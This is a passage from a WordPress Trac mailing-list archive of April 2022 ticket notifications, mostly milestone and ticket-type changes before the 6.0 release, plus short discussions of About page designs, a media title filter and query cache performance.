Apr 2022 18:43:57 -0000 Subject: [wp-trac] [WordPress Trac] #6479: Encourage people to change default tagline In-Reply-To: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> References: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> Message-ID: <070.85debaae5563a9fc57b1c305855e2cae@wordpress.org> #6479: Encourage people to change default tagline -------------------------------------------------+------------------------- Reporter: markjaquith | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.1 Component: Administration | Version: 2.5 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: refresh needs-codex | -------------------------------------------------+------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/6479#comment:45> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 18:45:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 18:45:04 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.1261c4e3d7367edb9ebc174f9a0867e8@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * keywords: title-attribute good-first-bug has-patch needs-refresh => title-attribute good-first-bug has-patch * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 19:12:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 19:12:58 -0000 Subject: [wp-trac] [WordPress Trac] #32747: WP Admin Menus/SubMenus Overlap in small screen In-Reply-To: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> References: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> Message-ID: <068.f6011aab0685150dcf42a8e0e637ee4d@wordpress.org> #32747: WP Admin Menus/SubMenus Overlap in small screen ------------------------------+-------------------------------------------- Reporter: turtlepod | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: 4.2.2 Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: ui, accessibility, javascript refresh | ------------------------------+-------------------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/32747#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 19:14:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 19:14:56 -0000 Subject: [wp-trac] [WordPress Trac] #55466: Build Tools: create Docker test environment that use non-direct filesystems In-Reply-To: <051.27302f5abe717f3ad7c97284b687ab6d@wordpress.org> References: <051.27302f5abe717f3ad7c97284b687ab6d@wordpress.org> Message-ID: <066.763007d733998a77814f3aaa8bf4efeb@wordpress.org> #55466: Build Tools: create Docker test environment that use non-direct filesystems ------------------------------+--------------------- Reporter: afragen | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: dev-feedback | Focuses: ------------------------------+--------------------- Changes (by afragen): * milestone: Awaiting Review => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55466#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 19:16:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 19:16:06 -0000 Subject: [wp-trac] [WordPress Trac] #53587: Mobile: Admin menu: Click on content should hide the menu In-Reply-To: <050.cb6557518b80258e102c737b9267653f@wordpress.org> References: <050.cb6557518b80258e102c737b9267653f@wordpress.org> Message-ID: <065.fcfeda0837001af7cdfbc12641b90094@wordpress.org> #53587: Mobile: Admin menu: Click on content should hide the menu -------------------------+------------------------------------------------- Reporter: kaneva | Owner: joedolson Type: defect | Status: reviewing (bug) | Priority: normal | Milestone: 6.1 Component: | Version: Administration | Severity: normal | Resolution: Keywords: | Focuses: ui, accessibility, javascript, | administration -------------------------+------------------------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/53587#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 19:17:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 19:17:19 -0000 Subject: [wp-trac] [WordPress Trac] #54483: On logout input fields have aria described login_error In-Reply-To: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> References: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> Message-ID: <071.d47eb5c2a78f91b5ddc9845af289e420@wordpress.org> #54483: On logout input fields have aria described login_error ------------------------------------+-------------------------------- Reporter: patrickgroot | Owner: alexstine Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Login and Registration | Version: 5.8.2 Severity: trivial | Resolution: Keywords: has-patch | Focuses: ui, accessibility ------------------------------------+-------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54483#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 19:28:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 19:28:25 -0000 Subject: [wp-trac] [WordPress Trac] #55393: File name URL overflow the container in the media editor In-Reply-To: <050.9ca5df95a7a2d33381179c3bdbbd4aa5@wordpress.org> References: <050.9ca5df95a7a2d33381179c3bdbbd4aa5@wordpress.org> Message-ID: <065.64fd8de1b3d687f7c0badad2bbcaa65f@wordpress.org> #55393: File name URL overflow the container in the media editor -------------------------------------+------------------------------------- Reporter: mitogh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Media | Version: 5.4 Severity: normal | Resolution: Keywords: good-first-bug has- | Focuses: ui, css, patch | administration -------------------------------------+------------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55393#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 19:29:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 19:29:34 -0000 Subject: [wp-trac] [WordPress Trac] #54813: Issue on mobile device in user listing page In-Reply-To: <054.1081e6dd587604953f538db97c35ca67@wordpress.org> References: <054.1081e6dd587604953f538db97c35ca67@wordpress.org> Message-ID: <069.e5b951824c3e2fd31b844adaffa0c7e8@wordpress.org> #54813: Issue on mobile device in user listing page -------------------------------------------------+------------------------- Reporter: sumitsingh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Users | Version: 5.8.3 Severity: normal | Resolution: Keywords: has-screenshots has-patch needs- | Focuses: css, testing | administration -------------------------------------------------+------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54813#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 19:36:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 19:36:47 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.3df8e1b70c1d32c87fe3a804c13fe60a@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by critterverse): These look awesome, thanks for sharing @fcoveram! We took a quick look during the Design Team Show & Tell call today. A few notes that came up: Folks seem to prefer the version on the left: * We are big fans of the colors used and the overall compositioin * This version feels more open/inviting * The gray background helps ground the numbers and create an interesting masking effect * Visually, the headers could work well without the subhead The version on the right also looks great, but perhaps feels too boxy and the number lockup used there feels like it might work better when animated/used in video. Would love to see how the direction on the left could be expanded to the other page section headers and to the Dashboard welcome banner! 😁 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 20:25:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 20:25:06 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.c1df85c88fde0c3d0410f7db821fc9e2@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by JeffPaul): Chiming in that the option on the left / Version 1 also resonates more with me in the jazz/improvisational style. Either way, nice work and thanks for the help! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 20:36:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 20:36:30 -0000 Subject: [wp-trac] [WordPress Trac] #55532: Update the Dashboard welcome banner for 6.0 In-Reply-To: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> References: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> Message-ID: <071.890d9becfb545ca50642221980f75478@wordpress.org> #55532: Update the Dashboard welcome banner for 6.0 --------------------------+----------------------------- Reporter: critterverse | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: administration --------------------------+----------------------------- Changes (by ryelle): * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55532#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 20:46:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 20:46:53 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.ffe1be928fc2326d59bb2abbc64690e7@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit needs-dev- | note | -------------------------------------------------+------------------------- Comment (by SergeyBiryukov): Replying to [comment:23 audrasjb]: > Instead of completely remove this filter, shouldn't we deprecate it? > > Looks like at least 64 plugins are using it: https://wpdirectory.net/search/01FZJMWDNYAJPXRGH546GQ8C24 It looks like most of those are either false positives or copies of the original function, though removing the function would indeed cause backward compatibility concerns. If it's no longer relevant, it should be deprecated instead. I was also curious whether new attachments would still get their title on upload if this filter is removed. Upon some testing, `media_handle_upload()` still assigns the initial title as expected. Some history here: * `media_handle_upload()` was introduced in [6659]. * `image_attachment_fields_to_save()` was introduced in [6876] / #5874. To summarize, removing this line is enough to fix the issue and achieve the desired result of using the `(no title)` fallback, as mentioned in comment:11: {{{ add_filter( 'attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2 ); }}} Whether the function itself should be deprecated can be up for discussion. If it's not used anywhere else in core, I think it makes sense to deprecate it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:07:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:07:26 -0000 Subject: [wp-trac] [WordPress Trac] #55192: unit tests for _wp_check_existing_file_names In-Reply-To: <051.a0b2af42a90b290a68a0cd48517cff59@wordpress.org> References: <051.a0b2af42a90b290a68a0cd48517cff59@wordpress.org> Message-ID: <066.c2d4bbba679722c3129de13c92c993d2@wordpress.org> #55192: unit tests for _wp_check_existing_file_names --------------------------------------+--------------------- Reporter: pbearne | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55192#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:07:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:07:34 -0000 Subject: [wp-trac] [WordPress Trac] #55199: test _wp_check_alternate_file_names In-Reply-To: <051.74019daba7e90b2b8d5f9f35f028f9a6@wordpress.org> References: <051.74019daba7e90b2b8d5f9f35f028f9a6@wordpress.org> Message-ID: <066.bb0fcc80159d168eb601fad50f8e553f@wordpress.org> #55199: test _wp_check_alternate_file_names --------------------------------------+--------------------- Reporter: pbearne | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55199#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:11:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:11:59 -0000 Subject: [wp-trac] [WordPress Trac] #52888: Docs: Update get_children function In-Reply-To: <059.cc551622da5687876b52dae83f978e46@wordpress.org> References: <059.cc551622da5687876b52dae83f978e46@wordpress.org> Message-ID: <074.32d7a7674f3c960db0b4672334526208@wordpress.org> #52888: Docs: Update get_children function -------------------------------+----------------------------- Reporter: ribaricplusplus | Owner: SergeyBiryukov Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.1 Component: Posts, Post Types | Version: Severity: minor | Resolution: Keywords: has-patch | Focuses: docs -------------------------------+----------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: While this is a documentation-focused ticket, it is quite a large change from the original documentation. The discussion about whether this change should be made is still being discussed, so I'm going to move this to the 6.1 milestone for now. If anyone feels that this ticket has moved towards being committed before 6.0 RC1, feel free to bring it back into the milestone for commit consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52888#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:12:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:12:55 -0000 Subject: [wp-trac] [WordPress Trac] #51126: Document the update offer parameter for auto updates In-Reply-To: <055.935ea9cae3c11fdd2716ca01d451cc24@wordpress.org> References: <055.935ea9cae3c11fdd2716ca01d451cc24@wordpress.org> Message-ID: <070.663a15980de64fd2079d8276a6fb632d@wordpress.org> #51126: Document the update offer parameter for auto updates -------------------------------------+------------------------ Reporter: johnbillion | Owner: desrosj Type: task (blessed) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: docs -------------------------------------+------------------------ Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/51126#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:14:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:14:51 -0000 Subject: [wp-trac] [WordPress Trac] #54034: Update jQuery UI Touch Punch to the latest version In-Reply-To: <058.8b64e35a4ad4981e30adc18db2ff645d@wordpress.org> References: <058.8b64e35a4ad4981e30adc18db2ff645d@wordpress.org> Message-ID: <073.be0917d78c458db25598914b912390cb@wordpress.org> #54034: Update jQuery UI Touch Punch to the latest version -------------------------------------------------+------------------------- Reporter: Hareesh Pillai | Owner: Hareesh | Pillai Type: enhancement | Status: assigned Priority: normal | Milestone: 6.1 Component: External Libraries | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing needs- | Focuses: testing-info dev-feedback | -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: This ticket is still awaiting `dev-feedback` and testin. As we are now beyond feature freeze for 6.0, I'm moving this ticket to the 6.1 milestone. If this ticket moves towards being committed, feel free to move it back into the 6.0 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54034#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:15:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:15:55 -0000 Subject: [wp-trac] [WordPress Trac] #55532: Update the Dashboard welcome banner for 6.0 In-Reply-To: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> References: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> Message-ID: <071.8a0e8790ddf4eb73411e828ce5d411f0@wordpress.org> #55532: Update the Dashboard welcome banner for 6.0 ----------------------------+----------------------------- Reporter: critterverse | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: administration ----------------------------+----------------------------- Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55532#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:16:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:16:17 -0000 Subject: [wp-trac] [WordPress Trac] #55422: Add a .git-blame-ignore-revs file In-Reply-To: <049.d28988312d1c7e977a5c81ef78ff2402@wordpress.org> References: <049.d28988312d1c7e977a5c81ef78ff2402@wordpress.org> Message-ID: <064.9874ff686bcb22f2fd384a2c82286a6b@wordpress.org> #55422: Add a .git-blame-ignore-revs file ------------------------------+----------------------- Reporter: helen | Owner: helen Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: minor | Resolution: Keywords: has-patch | Focuses: ------------------------------+----------------------- Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55422#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:27:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:27:04 -0000 Subject: [wp-trac] [WordPress Trac] #54746: Comment Error in wp-login.php In-Reply-To: <051.661f8373bb0391b330a2dc9d38d527ba@wordpress.org> References: <051.661f8373bb0391b330a2dc9d38d527ba@wordpress.org> Message-ID: <066.da9762f620207f0d14669154b6b70bb2@wordpress.org> #54746: Comment Error in wp-login.php ------------------------------------+------------------------------------- Reporter: alkesh7 | Owner: SergeyBiryukov Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Login and Registration | Version: Severity: minor | Resolution: Keywords: | Focuses: docs, coding-standards ------------------------------------+------------------------------------- Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54746#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 21:46:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 21:46:26 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.ea88cb7b88d675094770178377c74ee7@wordpress.org> #55463: Add a limit to _prime_*_cache functions ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: performance ---------------------------------------------+--------------------------- Comment (by spacedmonkey): In my tests of 1000 requests, the difference was. Before - 0.379 After - 0.366 I am also seeing improves on single requests. Before - 0.0005 After - 0.0004 I saw similar results in multiple test runs. The improve is not as much as I hoped but it something. Limits normally do improve the performance a query, as they allow queries to stop early. But looking at this [https://stackoverflow.com/questions/13846691/adding-limit-clause-to- mysql-query-slows-it-down-dramatically thread], it seems that the improve only comes when query is against a non indexed field. TLDR, This patch is an improvement, but it not much as hoped. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:01:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:01:59 -0000 Subject: [wp-trac] [WordPress Trac] #54788: Mute a video on WP with [video] In-Reply-To: <051.bcfc6485b683c99e8d296f73cf338728@wordpress.org> References: <051.bcfc6485b683c99e8d296f73cf338728@wordpress.org> Message-ID: <066.e9c25ee6087c148d7568a8a4031d44d1@wordpress.org> #54788: Mute a video on WP with [video] -------------------------+----------------------- Reporter: prokium | Owner: antpb Type: enhancement | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: -------------------------+----------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With 6.0 Beta 1 releasing yesterday, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54788#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:10:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:10:30 -0000 Subject: [wp-trac] [WordPress Trac] #55433: Twenty Twenty-Two: Implement alternate json files In-Reply-To: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> References: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> Message-ID: <065.41e5b655718f787b8ca03672f9734046@wordpress.org> #55433: Twenty Twenty-Two: Implement alternate json files ---------------------------------------------+--------------------- Reporter: kjellr | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-design-feedback has-patch | Focuses: ---------------------------------------------+--------------------- Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55433#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:16:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:16:05 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.25e6e9b575e09ba1aafaa4f6ae8eca36@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -------------------------------------------------+------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests 2nd-opinion | -------------------------------------------------+------------------------- Changes (by costdev): * type: enhancement => defect (bug) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:22:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:22:51 -0000 Subject: [wp-trac] [WordPress Trac] #53299: [PHP 8.1] Update `is_serialized` function to accept Enums In-Reply-To: <055.f6accfccac655a71ae4aad31f1aca3f6@wordpress.org> References: <055.f6accfccac655a71ae4aad31f1aca3f6@wordpress.org> Message-ID: <070.a894b64b1ab1c1deb73ec5abe44bf68a@wordpress.org> #53299: [PHP 8.1] Update `is_serialized` function to accept Enums -------------------------------------------------+------------------------- Reporter: ayeshrajans | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: Severity: normal | Resolution: Keywords: php81 has-patch early dev-feedback | Focuses: needs-unit-tests | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: php81 has-patch => php81 has-patch early dev-feedback needs- unit-tests * milestone: 6.0 => 6.1 Comment: As 6.0 Beta 1 was released yesterday and this still needs review and unit tests, I'm moving this ticket to the 6.1 milestone, marking for attention `early` in the next cycle as indicated in [https://core.trac.wordpress.org/ticket/53299#comment:5 this comment]. Also adding the `dev-feedback` and `needs-unit-tests` keyword to accurately reflect the ticket's current state. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53299#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:26:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:26:42 -0000 Subject: [wp-trac] [WordPress Trac] #54225: Request header key case inconsistencies In-Reply-To: <059.15215363473d936ad9b19fdb4f7e82e7@wordpress.org> References: <059.15215363473d936ad9b19fdb4f7e82e7@wordpress.org> Message-ID: <074.c62721f0cc1df7a12d6794f4db76ea94@wordpress.org> #54225: Request header key case inconsistencies -------------------------------------+--------------------- Reporter: johnjamesjacoby | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: HTTP API | Version: 2.7 Severity: normal | Resolution: Keywords: 2nd-opinion needs-patch | Focuses: docs -------------------------------------+--------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With Beta 1 released yesterday, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54225#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:33:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:33:08 -0000 Subject: [wp-trac] [WordPress Trac] #53816: Overview: Refactor the widgets read/write logic In-Reply-To: <052.1f07142c84c95e7fa5e9ec0853d668c6@wordpress.org> References: <052.1f07142c84c95e7fa5e9ec0853d668c6@wordpress.org> Message-ID: <067.a0170bd814d57697e5dd799f8105a39e@wordpress.org> #53816: Overview: Refactor the widgets read/write logic -------------------------------------------------+------------------------- Reporter: zieladam | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Widgets | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-docs | Focuses: has-dev-note needs-testing needs-refresh | -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With Beta 1 released yesterday, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53816#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:46:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:46:55 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating Message-ID: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------+----------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Gallery | Version: trunk Severity: normal | Keywords: has-patch Focuses: | --------------------------+----------------------------- In 5.9 the Gallery block was updated to use nested image blocks, and to be wrapped in a figure tag, but the block fixtures still us the old ul and internal image format. The fixtures should be updated to the new block format. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 22:53:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 22:53:39 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.00fbbc66ceb82733df13224a11cfa352@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Changes (by costdev): 